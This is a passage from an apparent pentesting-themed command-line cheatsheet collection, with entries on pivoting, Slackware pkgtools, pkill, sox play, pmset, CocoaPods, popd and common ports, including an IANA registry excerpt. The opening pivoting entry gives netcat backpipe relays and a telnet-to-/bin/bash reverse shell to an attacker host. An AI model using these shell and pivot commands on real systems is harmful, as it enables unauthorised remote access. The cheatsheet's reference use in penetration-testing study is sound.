╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
123 - 🖥️pivoting
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pivoting command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗██╗ ██╗ ██████╗ ████████╗██╗███╗ ██╗ ██████╗
# ██╔══██╗██║██║ ██║██╔═══██╗╚══██╔══╝██║████╗ ██║██╔════╝
# ██████╔╝██║██║ ██║██║ ██║ ██║ ██║██╔██╗ ██║██║ ███╗
# ██╔═══╝ ██║╚██╗ ██╔╝██║ ██║ ██║ ██║██║╚██╗██║██║ ██║
# ██║ ██║ ╚████╔╝ ╚██████╔╝ ██║ ██║██║ ╚████║╚██████╔╝
# ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
# To make a FIFO in the file system
mknod [name of file] p
# Pivoting with a backpipe #
# On the attacker:
nc [pivot host]
# On the pivot host
nc localhost 80 <[FIFO file name] | nc -l -p 4444 >[FIFO file name]
# Telnet variant (when netcat is not available on the target) #
# Listen on port 80 in terminal 1 on the attack machine
nc -l -n -v -p 80
# Listen on port 443 in terminal 2 on the attack machine
nc -l -n -v -p 443
# On the target machine:
telnet [attack host] 80 | /bin/bash | telnet [attack host]
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pivoting in a clear format. This allows users to quickly access the needed information for pivoting without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pivoting are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
124 - 🖥️pkgtools
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pkgtools command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗ ██╗ ██████╗████████╗ ██████╗ ██████╗ ██╗ ███████╗
# ██╔══██╗██║ ██╔╝██╔════╝╚══██╔══╝██╔═══██╗██╔═══██╗██║ ██╔════╝
# ██████╔╝█████╔╝ ██║ ███╗ ██║ ██║ ██║██║ ██║██║ ███████╗
# ██╔═══╝ ██╔═██╗ ██║ ██║ ██║ ██║ ██║██║ ██║██║ ╚════██║
# ██║ ██║ ██╗╚██████╔╝ ██║ ╚██████╔╝╚██████╔╝███████╗███████║
# ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝
# Create a Slackware package from a structured directory and sub-tree
$ cd /path/to/pkg/dir
$ su - c 'makepkg --linkadd y --chown n $foo-1.0.3-x86_64-1_tag.tgz'
# Install a Slackware package
installpkg foo-1.0.3-x86_64-1.tgz
# Install a Slackware package to non-standard location
ROOT=/path/to/dir installpkg foo-1.0.4-noarch-1.tgz
# Create backup of files that will be overwritten when installing
tar czvf /tmp/backup.tar.gz $(installpkg --warn foo-1.0.4-noarch-1.tgz)
# Upgrade a Slackware package including files only in new version
upgradepkg --install-new foo-1.0.6-noarch-1.tgz
# Upgrade a Slackware package even if version is the same
upgradepkg --reinstall foo-1.0.4-noarch-1.tgz
# Remove a Slackware package
removepkg foo-0.2.8-x86_64-1
# Remove a Slackware package, retaining a backup (uninstalled) copy
removepkg -copy foo-0.2.8-x86_64-1 # -> /var/log/setup/tmp/preserved_packages/foo...
#==============================##==============================#
# CMD PKGTOOLS #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pkgtools in a clear format. This allows users to quickly access the needed information for pkgtools without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pkgtools are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
125 - 🖥️pkill
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pkill command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗ ██╗██╗██╗ ██╗
# ██╔══██╗██║ ██╔╝██║██║ ██║
# ██████╔╝█████╔╝ ██║██║ ██║
# ██╔═══╝ ██╔═██╗ ██║██║ ██║
# ██║ ██║ ██╗██║███████╗███████╗
# ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝
# To kill a process using it's full process name
pkill <processname>
# To kill a process by it's partial name
pkill -f <string>
#==============================##==============================#
# CMD PKILL #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pkill in a clear format. This allows users to quickly access the needed information for pkill without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pkill are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
126 - 🖥️play
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the play command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗ █████╗ ██╗ ██╗
# ██╔══██╗██║ ██╔══██╗╚██╗ ██╔╝
# ██████╔╝██║ ███████║ ╚████╔╝
# ██╔═══╝ ██║ ██╔══██║ ╚██╔╝
# ██║ ███████╗██║ ██║ ██║
# ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝
#==============================#
# CMD play
#==============================##==============================#
play -q -n synth sq F2 sq C3 remix - fade 0 5 .1 norm -4 bend 0.5,2477,3 fade 0 5 0.8
# THX-like sound. play is from the sox package.
play -n synth pl G2 pl B2 pl D3 pl G3 pl D4 pl G4 delay 0 .05 .1 .15 .2 .25 remix - fade 0 4 .1 norm -1
# Guitar strum. play is from sox pkg
play -n synth sine 480 sine 620 remix 1-2 fade 0 0.5 delay 0.5 repeat 5
# And you probably haven not heard one of these in a while.
play -n synth sine A sine F remix 1-2 fade 0 5
# With this command you can generate a U.S. dial tone using sox play.
play -n -c1 synth whitenoise band -n 100 20 band -n 50 20 gain +30 fade h 1 86400 1
# Pretend that you are on a starship.
play msg0114.WAV vol 10 dB tempo 1.5
# Playback a voicemail at 10 decibels louder and 50% faster without affecting pitch. Req. sox package.
play -n -c1 synth whitenoise band -n 100 20 band -n 50 20 gain +30 fade h 1 86400 1
# Pretend that you are on a starship.
# Pretend you are on a starship (Uses sox) #StarTrekDay
play -n -c1 synth whitenoise band -n 100 20 band -n 50 20 gain +30 fade h 1 86400 1
play -n synth sin 900 bend 0.3,800,1 bend 1.2,-150,1 trim 0 3.5 reverb -w
# Make your own spooky noises with sox. #ImBaaack
play -n -c1 synth whitenoise band -n 100 20 band -n 50 20 gain +30 fade h 1 86400 1
# Pretend you are on a starship (Uses sox)
play -n synth -j 3 sin %3 sin %-2 sin %-5 sin %-9 sin %-14 sin %-21 fade h .01 2 1.5 delay 1.3 1 .76 .54 .27 remix - fade h 0 2.7 2.5 norm -1 # Chimes sound from the 'sox' man page. Your attention please. The train to Osaka is now boarding on Track #3.
play -n synth sq C trim 0 4 vol 0.2 chorus 1 1 21 1 4 10 -s bend 0,2400,4 fade 0.1 4 2 # I'm outta here for today. Have fun.
eval play -n synth .25 pl\ {F2,F2,G2,F2,G#2,F2,Bb2,A2} delay $( seq 0 .25 1.75 ) repeat 100 remix -
# Play the bass line from the theme to Peter Gunn using sox play. Also known from Blues Brothers, Spy Hunter, etc.
#==============================##==============================#
# CMD play
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command play in a clear format. This allows users to quickly access the needed information for play without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for play are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
127 - 🖥️pmset
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pmset command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███╗ ███╗███████╗███████╗████████╗
# ██╔══██╗████╗ ████║██╔════╝██╔════╝╚══██╔══╝
# ██████╔╝██╔████╔██║███████╗█████╗ ██║
# ██╔═══╝ ██║╚██╔╝██║╚════██║██╔══╝ ██║
# ██║ ██║ ╚═╝ ██║███████║███████╗ ██║
# ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝
# Configure macOS power management settings, as one might do in System Preferences > Energy Saver.
# Commands that modify settings must begin with sudo (Mac OS X)
# Display the current power management settings:
pmset -g
# Display the current power source and battery levels - Remaining battery time is displayed in minutes
pmset -g batt | awk '/^ /{print $5}'
# Set display to never sleep when on charger power:
sudo pmset -c displaysleep 0
# Set display to sleep after 15 minutes when on battery power:
sudo pmset -b displaysleep 15
# Schedule computer to automatically wake up every weekday at 9 AM:
sudo pmset repeat wake MTWRF 09:00:00
# Restore to system defaults:
sudo pmset -a displaysleep 10 disksleep 10 sleep 30 womp 1
#==============================##==============================#
# CMD PMSET #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pmset in a clear format. This allows users to quickly access the needed information for pmset without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pmset are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
128 - 🖥️pod
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pod command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██████╗
# ██╔══██╗██╔═══██╗██╔══██╗
# ██████╔╝██║ ██║██║ ██║
# ██╔═══╝ ██║ ██║██║ ██║
# ██║ ╚██████╔╝██████╔╝
# ╚═╝ ╚═════╝ ╚═════╝
# pod
#
# Dependency manager for Swift and Objective-C Cocoa projects.
# Create a Podfile for the current project with the default contents:
pod init
# Download and install all pods defined in the Podfile (that haven't been installed before):
pod install
# List all available pods:
pod list
# Show the outdated pods (of those currently installed):
pod outdated
# Update all currently installed pods to their newest version:
pod update
# Update a specific (previously installed) pod to its newest version:
pod update pod_name
# Remove CocoaPods from a Xcode project:
pod deintegrate xcode_project
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pod in a clear format. This allows users to quickly access the needed information for pod without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pod are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
129 - 🖥️popd
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the popd command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██████╗ ██████╗
# ██╔══██╗██╔═══██╗██╔══██╗██╔══██╗
# ██████╔╝██║ ██║██████╔╝██║ ██║
# ██╔═══╝ ██║ ██║██╔═══╝ ██║ ██║
# ██║ ╚██████╔╝██║ ██████╔╝
# ╚═╝ ╚═════╝ ╚═╝ ╚═════╝
# Returns to the directory at the top of the `pushd' stack
popd
#==============================##==============================#
# CMD POPD #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command popd in a clear format. This allows users to quickly access the needed information for popd without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for popd are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
130 - 🖥️ports
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ports command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██████╗ ████████╗███████╗
# ██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝██╔════╝
# ██████╔╝██║ ██║██████╔╝ ██║ ███████╗
# ██╔═══╝ ██║ ██║██╔══██╗ ██║ ╚════██║
# ██║ ╚██████╔╝██║ ██║ ██║ ███████║
# ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝
port 6556 check_mk
COMMON PORTS
21 FTP 520 RIP
22 SSH 546/7 DHCPv6
23 Tel net 587 SMTP
25 SMTP 902 VMWare
49 TACACS 1080 Socks Proxy
53 DNS 1194 VPN
67/68 DHCP (UDP) 1433/4 MS-SQL
69 TFTP (UDP) 1521 Oracle
80 HTTP 1629 DarneWare
88 Kerberos 2049 NFS
110 POP3 3128 Squid Proxy
111 RPC 3306 MySQL
123 NTP (UDP) 3389 RDP
135 Windows RPC 5060 SIP
137 NetBIOS 5222 Jabber
138 NetBIOS 5432 Postgres
139 SMB 5666 Nagios
143 IMAP 5900 VNC
161 SNHP (UDP) 6000 X11
179 BGP 6129 DameWare
201 AppleTalk 6667 IRC
389 LDAP 9001 Tor
443 HTTPS 9001 HSQL
445 SHE 9090/1 Open fire
500 ISAKMP (UDP) 9100 Jet Direct
514 Syslog
# nmap-top1000-ports.txt
1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,280,4567,7001,8008,9080
# common-http-ports.txt
66
80
81
443
445
457
1080
1100
1241
1352
1433
1434
1521
1944
2301
3128
3306
4000
4001
4002
4100
5000
5432
5800
5801
5802
6346
6347
7001
7002
8080
8888
30821
Source:
https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.txt
Service Name and Transport Protocol Port Number Registry
Last Updated
2018-12-03
Expert(s)
TCP/UDP: Joe Touch; Eliot Lear, Allison Mankin, Markku Kojo, Kumiko Ono, Martin Stiemerling,
Lars Eggert, Alexey Melnikov, Wes Eddy, Alexander Zimmermann, Brian Trammell, and Jana Iyengar
SCTP: Allison Mankin and Michael Tuexen
DCCP: Eddie Kohler and Yoshifumi Nishida
Reference
[RFC6335]
Note
Service names and port numbers are used to distinguish between different
services that run over transport protocols such as TCP, UDP, DCCP, and
SCTP.
Service names are assigned on a first-come, first-served process, as
documented in [RFC6335].
Port numbers are assigned in various ways, based on three ranges: System
Ports (0-1023), User Ports (1024-49151), and the Dynamic and/or Private
Ports (49152-65535); the difference uses of these ranges is described in
[RFC6335]. According to Section 8.1.2 of [RFC6335], System Ports are
assigned by the "IETF Review" or "IESG Approval" procedures described in
[RFC8126]. User Ports are assigned by IANA using the "IETF Review" process,
the "IESG Approval" process, or the "Expert Review" process, as per
[RFC6335]. Dynamic Ports are not assigned.
The registration procedures for service names and port numbers are
described in [RFC6335].
Assigned ports both System and User ports SHOULD NOT be used without
or prior to IANA registration.
************************************************************************
* PLEASE NOTE THE FOLLOWING: *
* *
* ASSIGNMENT OF A PORT NUMBER DOES NOT IN ANY WAY IMPLY AN *
* ENDORSEMENT OF AN APPLICATION OR PRODUCT, AND THE FACT THAT NETWORK *
* TRAFFIC IS FLOWING TO OR FROM A REGISTERED PORT DOES NOT MEAN THAT *
* IT IS "GOOD" TRAFFIC, NOR THAT IT NECESSARILY CORRESPONDS TO THE *
* ASSIGNED SERVICE. FIREWALL AND SYSTEM ADMINISTRATORS SHOULD *
* CHOOSE HOW TO CONFIGURE THEIR SYSTEMS BASED ON THEIR KNOWLEDGE OF *
* THE TRAFFIC IN QUESTION, NOT WHETHER THERE IS A PORT NUMBER *
* REGISTERED OR NOT. *
************************************************************************
Available Formats
[IMG]
CSV [IMG]
XML [IMG]
HTML [IMG]
Plain text
Transport Registration Modification Service Known
Service Name Port Number Protocol Description Assignee Contact Date Date Reference Code Unauthorized Assignment Notes
Uses
0 tcp Reserved [Jon_Postel] [Jon_Postel]
0 udp Reserved [Jon_Postel] [Jon_Postel]
tcpmux 1 tcp TCP Port Service Multiplexer [Mark_Lottor] [Mark_Lottor]
tcpmux 1 udp TCP Port Service Multiplexer [Mark_Lottor] [Mark_Lottor]
compressnet 2 tcp Management Utility
compressnet 2 udp Management Utility
compressnet 3 tcp Compression Process [Bernie_Volz] [Bernie_Volz]
compressnet 3 udp Compression Process [Bernie_Volz] [Bernie_Volz]
4 tcp Unassigned
4 udp Unassigned
rje 5 tcp Remote Job Entry [Jon_Postel] [Jon_Postel]
rje 5 udp Remote Job Entry [Jon_Postel] [Jon_Postel]
6 tcp Unassigned
6 udp Unassigned
echo 7 tcp Echo [Jon_Postel] [Jon_Postel]
echo 7 udp Echo [Jon_Postel] [Jon_Postel]
8 tcp Unassigned
8 udp Unassigned
discard 9 tcp Discard [Jon_Postel] [Jon_Postel]
discard 9 udp Discard [Jon_Postel] [Jon_Postel]
discard 9 sctp Discard [Randall_Stewart] [Randall_Stewart] [RFC4960]
discard 9 dccp Discard [Eddie_Kohler] [Eddie_Kohler] [RFC4340] 1145656131
10 tcp Unassigned
10 udp Unassigned
systat 11 tcp Active Users [Jon_Postel] [Jon_Postel]
